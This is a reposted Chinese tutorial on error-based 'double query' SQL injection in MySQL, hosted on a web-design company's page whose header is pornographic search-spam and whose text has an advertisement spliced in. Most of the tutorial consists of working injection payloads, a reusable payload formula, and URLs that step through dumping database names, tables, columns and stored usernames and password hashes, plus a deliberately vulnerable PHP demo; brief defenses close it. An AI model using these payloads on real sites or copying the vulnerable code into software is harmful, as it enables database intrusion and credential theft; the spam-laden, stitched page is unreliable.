日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
數(shù)據(jù)安全之雙查詢注入解析

介紹一下雙查詢注入,什么叫雙查詢注入,這個(gè)有點(diǎn)難以解釋,通俗的來說就是嵌套子查詢。我們理解一下子查詢,查詢的關(guān)鍵字是select,這個(gè)大家都知道。子查詢可以簡(jiǎn)單的理解在一個(gè)select語句里還有一個(gè)select,里面的這個(gè)select語句就是子查詢。

我們提供的服務(wù)有:成都網(wǎng)站建設(shè)、成都網(wǎng)站設(shè)計(jì)、微信公眾號(hào)開發(fā)、網(wǎng)站優(yōu)化、網(wǎng)站認(rèn)證、頭屯河ssl等。為1000多家企事業(yè)單位解決了網(wǎng)站和推廣的問題。提供周到的售前咨詢和貼心的售后服務(wù),是有科學(xué)管理、有技術(shù)的頭屯河網(wǎng)站制作公司

這種方法適用于注入的時(shí)候沒有返回位,但是有返回位的時(shí)候也適用,不過又返回位的時(shí)候就不建議在、用這個(gè)啦!返回位就是你們union select 1,2,3,4,5,6,7,8 這里是8個(gè)字段

這里顯示2,4,5,6,7,8就是返回位

另外,就是要有返回mysql錯(cuò)誤提示,php返回錯(cuò)誤提示有兩種,看下圖

這是mysql返回的錯(cuò)誤

這是php返回的錯(cuò)誤

雙注入的原理,簡(jiǎn)單一句話原理就是有研究人員發(fā)現(xiàn),當(dāng)在一個(gè)聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會(huì)把查詢的一部分以錯(cuò)誤的形式顯示出來。

floor()和rand(),count()就不在多說啦

但是concat()函數(shù),就來說一下,concat是一個(gè)連接函數(shù),可以連接多個(gè)字符,例如

1concat("abc","123")="abc123"

并且支持ascii碼,例如:

1concat("abc",0x22,"123")=abc"123

(0×22就是雙引號(hào),可以用來當(dāng)分隔符)

這里在mysql輸入

1select concat((select version()))

在concat里執(zhí)行查詢要用括號(hào)括起來,同時(shí)要確定只返回 一條數(shù)據(jù),不然得用limit來保證只有一條結(jié)果 (limit 0,1 返回第一條)

如果這條語句添加from的話,就會(huì)返回表中的記錄的條數(shù),就是有多少條記錄就會(huì)返回多少次的版本號(hào),看圖

這里還沒有顯示完!!

因此

1select concat((select version()),floor(rand()*2)) from mysql.user;

(這里我用的是mysql中的mysql數(shù)據(jù)庫,user表有四條記錄 )

(小編注:rand()函數(shù)是生成0-1之間的小數(shù)隨機(jī)值,rand()*2是生成0-2之間的小數(shù)隨機(jī)數(shù),floor(rand()*2)就相當(dāng)于生成0/1兩個(gè)隨機(jī)值)

Attention,這里顯示的值是版本號(hào)加上rand()生成的,正確版本好是去掉后面的0或1

現(xiàn)在我們加上group by ,因?yàn)槿绻覀儚膄rom 某張表的話,可能里面就會(huì)有很多條記錄,然后就可能生成隨機(jī)值(據(jù)說是這樣的,如果不是,還望告知)

這里用information_schema.tables來弄,因?yàn)樗挠涗泬蚨?,如前一條語句,你就可以知道啦

group by 一下多清爽啦

看語句中

1select concat((select version()),floor(rand()*2))a from information_schema.tables group by a;

這里加粗的a是把 as a 簡(jiǎn)寫成 a 而已,說一下group by ,這個(gè)的作用就是把5.1.69-0ubuntu0.10.04.10 分為一組,5.1.69-0ubuntu0.10.04.11 的分為一組

(小編注:如果各位看官不知道這里是怎么回事,執(zhí)行一下

1select concat((select version()),floor(rand()*2)) from information_schema.tables

就清楚了)

最后就來到這個(gè)count()函數(shù)了,這個(gè)函數(shù)妙用可以看一下下圖

1select count(*),concat((select version()),floor(rand()*2))a from information_schema.tables group by a

看到了沒有,返回了我們后面concat的內(nèi)容啦

ERROR 1062 (23000): Duplicate entry ’15.1.69-0ubuntu0.10.04.1′ for key ‘group_key’,我們看看phpmyadmin下比較詳細(xì)的報(bào)錯(cuò):

說了這么多就為了這個(gè)而已!!

好了,給個(gè)小小demo(demo在本文最后)給你們,不過弄不出一個(gè)沒有顯示返回位的,所以就將就一下的

然后雙注入查詢是有固定公式的

1union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆數(shù)據(jù)語句))a from information_schema.tables group by a)b

這里將下面的demo設(shè)置數(shù)據(jù)庫的一些參數(shù)之后,保存成yi.php,我們的演示就正式開始了

這是正常的情況:

加個(gè)單引號(hào)后

這里說明有注入了,然后用order by 判斷字段咯,這里就截圖了(太麻煩啦),字段數(shù)是8個(gè)(其實(shí)不判斷也可以的,只要確定有注入就行啦)

1、先讀個(gè)數(shù)據(jù)庫的版本、用戶、當(dāng)前庫名

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select concat(version(),0x22,user(),0x22,database())))a from information_schema.tables group by a)b

這里數(shù)據(jù)庫版本:5.1.28-rc-community

用戶是:root@localhost

數(shù)據(jù)庫名:test

2、然后讀數(shù)據(jù)庫有哪些庫

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*), concat(floor(rand()*2),(select schema_name from information_schema.schemata limit 0,1))a from information_schema.tables group by a)b

這里要注意,因?yàn)閟ql語句會(huì)返回多條記錄,所以要用limit來限制返回的條數(shù),limit 0,1是第一條記錄

limit 1,1是第二條記錄

(小編注:通過控制limit來逐條查看數(shù)據(jù)庫名稱,請(qǐng)忽略前面的0或是1)

3、然后看看有什么表

因?yàn)槲矣袀€(gè)dvwa的數(shù)據(jù)庫,所以就用那個(gè)來做示范啦

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))a from information_schema.tables group by a)b

加粗是dvwa的hex值,這樣得到dvwa的users的表

4、然后看有什么字段

1http://127.0.0.1/yi.php?id=-1 union select 1 from (select count(*) ,concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name =0x7573657273 limit 0,1 ))a from information_schema.tables group by a)b

然后修改limit的值,得到字段user,password

5、然后讀取字段的值

1http://127.0.0.1/yi.php?id=-1 union Select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user,0x22,password) from dvwa.users limit 0,1))a from information_schema.tables group by a)b

這樣子就得到字段的值啦,然后提醒一下,要是跨庫讀取數(shù)據(jù),要寫成數(shù)據(jù)庫名然后.表名。因?yàn)楫?dāng)前數(shù)據(jù)庫是test,然后我讀的是dvwa庫的users的表,所以要寫成dvwa.users

好了基本就是這么多啦。

防范辦法:

一個(gè)是過濾啦(把’,”,union,select load_file,%,and等敏感字符都過濾啦)

另一個(gè)是參數(shù)化查詢,就是一種把查詢語句給固定死了,無論傳過來的值是什么,都只當(dāng)做變量來執(zhí)行查詢語句

demo的源碼:

 
 
 
  1. $dbuser = "root";
  2. $dbpwd = "";     //這里是mysql的密碼
  3. $db = "test";
  4. $conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");
  5. mysql_select_db($db,$conn);
  6. $id = $_GET['id'];
  7. $query = "select * from test where id =$id";
  8. $result = mysql_query($query) or die(mysql_error());
  9. print_r(mysql_fetch_array($result));
  10. //簡(jiǎn)單的寫一下而已
  11. ?>

[via@廣外(廣東外語外貿(mào)大學(xué))網(wǎng)絡(luò)安全小組_臺(tái)灣鴿]


網(wǎng)站題目:數(shù)據(jù)安全之雙查詢注入解析
分享鏈接:http://m.5511xx.com/article/djegcgj.html